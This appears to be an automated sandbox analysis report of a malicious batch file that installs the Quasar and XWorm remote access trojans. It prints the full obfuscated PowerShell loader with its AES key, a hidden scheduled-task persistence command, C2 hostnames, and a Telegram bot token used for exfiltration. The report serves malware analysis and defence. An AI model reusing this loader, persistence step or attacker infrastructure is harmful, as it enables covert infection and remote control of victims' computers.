Analysis

  • max time kernel
    58s
  • max time network
    64s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240412-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/04/2024, 15:44

General

  • Target
    Client-built.bat
  • Size 1.6MB
  • Sample240414-s6sevace71
  • SHA256 950153a1ef5114d609ca8fa79a28374c1f24ae84a8f90ef0a21fb7914639b4e9
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • quasar

Version
  • 1.4.1

Botnet
  • Office04

C2
  • express-divorce.gl.at.ply.gg:22562

Mutex
  • 6735a92b-88d2-4fbe-8e59-605a85072109

Attributes
  • encryption_key

    8681483EF512C654BECF205A0D74FFCA4B129A98

  • install_name

    Client.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Trapix Client Startup

  • subdirectory

    SubDir

Extracted

Family
  • xworm

Version
  • 3.0

C2
  • traffic-collins.gl.at.ply.gg:24820

Mutex
  • uX6FapIHo24Z2JFZ

Attributes
  • install_file

    USB.exe

  • telegram

    https://api.telegram.org/bot7171419034:AAFHVFSxi6aVJohwci09QBtbjQ3QtjcLoBc/sendMessage?chat_id=6403260284

aes.plain

Signatures

  • Detect Xworm Payload 3 IoCs
  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client-built.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3720
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rut3Nxs7NHGxRfDGW4AZiW/la3bsD/qGa57R1oLq3Jk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IMGBAJCtblcDTdjuAM5M1A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rYugK=New-Object System.IO.MemoryStream(,$param_var); $FsizC=New-Object System.IO.MemoryStream; $qQyLB=New-Object System.IO.Compression.GZipStream($rYugK, [IO.Compression.CompressionMode]::Decompress); $qQyLB.CopyTo($FsizC); $qQyLB.Dispose(); $rYugK.Dispose(); $FsizC.Dispose(); $FsizC.ToArray();}function execute_function($param_var,$param2_var){ $YdjZT=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WGHne=$YdjZT.EntryPoint; $WGHne.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Client-built.bat';$tUlfv=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Client-built.bat').Split([Environment]::NewLine);foreach ($opvFd in $tUlfv) { if ($opvFd.StartsWith(':: ')) { $vKkrO=$opvFd.Substring(3); break; }}$payloads_var=[string[]]$vKkrO.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1844
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_334_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_334.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4536
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_334.vbs"
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:3748
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_334.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2948
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rut3Nxs7NHGxRfDGW4AZiW/la3bsD/qGa57R1oLq3Jk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IMGBAJCtblcDTdjuAM5M1A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rYugK=New-Object System.IO.MemoryStream(,$param_var); $FsizC=New-Object System.IO.MemoryStream; $qQyLB=New-Object System.IO.Compression.GZipStream($rYugK, [IO.Compression.CompressionMode]::Decompress); $qQyLB.CopyTo($FsizC); $qQyLB.Dispose(); $rYugK.Dispose(); $FsizC.Dispose(); $FsizC.ToArray();}function execute_function($param_var,$param2_var){ $YdjZT=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WGHne=$YdjZT.EntryPoint; $WGHne.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_334.bat';$tUlfv=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_334.bat').Split([Environment]::NewLine);foreach ($opvFd in $tUlfv) { if ($opvFd.StartsWith(':: ')) { $vKkrO=$opvFd.Substring(3); break; }}$payloads_var=[string[]]$vKkrO.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
            5⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2224
            • C:\Users\Admin\AppData\Local\Temp\XClientNOT.exe
              "C:\Users\Admin\AppData\Local\Temp\XClientNOT.exe"
              6⤵
              • Executes dropped EXE
              PID:3880

Network

        MITRE ATT&CK Enterprise v15

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 944abd73b0e4b30b22863d73594cac5fbcf4de64469d13dd1e3a3ca8cf85440e
        • MD5 SHA1 SHA512

        XClientNOT.exe

        • Path C:\Users\Admin\AppData\Local\Temp\XClientNOT.exe
        • Size 31KB
        • SHA256 1a87f2fed2a9263e703c44d25da8242016a640db930678a0f497879267c133c8
        • MD5 SHA1 SHA512 SSDEEP

        __PSScriptPolicyTest_yyhp30qw.aod.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yyhp30qw.aod.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        startup_str_334.bat

        • Path C:\Users\Admin\AppData\Roaming\startup_str_334.bat
        • Size 1.6MB
        • SHA256 950153a1ef5114d609ca8fa79a28374c1f24ae84a8f90ef0a21fb7914639b4e9
        • MD5 SHA1 SHA512 SSDEEP

        startup_str_334.vbs

        • Path C:\Users\Admin\AppData\Roaming\startup_str_334.vbs
        • Size 115B
        • SHA256 badbe5b3ed31eb7b68cdcf1d45a0750726410b72dddd696a9b87be41cf36a23f
        • MD5 SHA1 SHA512

        memory/1844-5-0x000001C0EBFC0000-0x000001C0EBFE2000-memory.dmp

        memory/1844-15-0x000001C0EC320000-0x000001C0EC45A000-memory.dmp

        memory/1844-14-0x000001C0EBF90000-0x000001C0EBF98000-memory.dmp

        memory/1844-13-0x000001C0E9EA0000-0x000001C0E9EB0000-memory.dmp

        memory/1844-41-0x00007FF9D6600000-0x00007FF9D70C1000-memory.dmp

        memory/1844-12-0x000001C0E9EA0000-0x000001C0E9EB0000-memory.dmp

        memory/1844-11-0x000001C0E9EA0000-0x000001C0E9EB0000-memory.dmp

        memory/1844-10-0x00007FF9D6600000-0x00007FF9D70C1000-memory.dmp

        memory/2224-72-0x00000262525A0000-0x0000026252762000-memory.dmp

        memory/2224-70-0x0000026251F00000-0x0000026251F50000-memory.dmp

        memory/2224-74-0x00007FF9D6600000-0x00007FF9D70C1000-memory.dmp

        memory/2224-75-0x000002624EF90000-0x000002624EFA0000-memory.dmp

        memory/2224-42-0x00007FF9D6600000-0x00007FF9D70C1000-memory.dmp

        memory/2224-43-0x000002624EF90000-0x000002624EFA0000-memory.dmp

        memory/2224-44-0x000002624EF90000-0x000002624EFA0000-memory.dmp

        memory/2224-57-0x00000262515B0000-0x00000262518D4000-memory.dmp

        memory/2224-76-0x000002624EF90000-0x000002624EFA0000-memory.dmp

        memory/2224-71-0x0000026252310000-0x00000262523C2000-memory.dmp

        memory/2224-77-0x000002624EF90000-0x000002624EFA0000-memory.dmp

        memory/3880-69-0x0000000000DD0000-0x0000000000DDE000-memory.dmp

        memory/3880-68-0x00007FF9D6600000-0x00007FF9D70C1000-memory.dmp

        memory/3880-73-0x0000000002DB0000-0x0000000002DC0000-memory.dmp

        memory/3880-78-0x00007FF9D6600000-0x00007FF9D70C1000-memory.dmp

        memory/3880-79-0x0000000002DB0000-0x0000000002DC0000-memory.dmp

        memory/4536-32-0x00007FF9D6600000-0x00007FF9D70C1000-memory.dmp

        memory/4536-29-0x0000025D3FC10000-0x0000025D3FC20000-memory.dmp

        memory/4536-28-0x0000025D3FC10000-0x0000025D3FC20000-memory.dmp

        memory/4536-27-0x0000025D3FC10000-0x0000025D3FC20000-memory.dmp

        memory/4536-22-0x00007FF9D6600000-0x00007FF9D70C1000-memory.dmp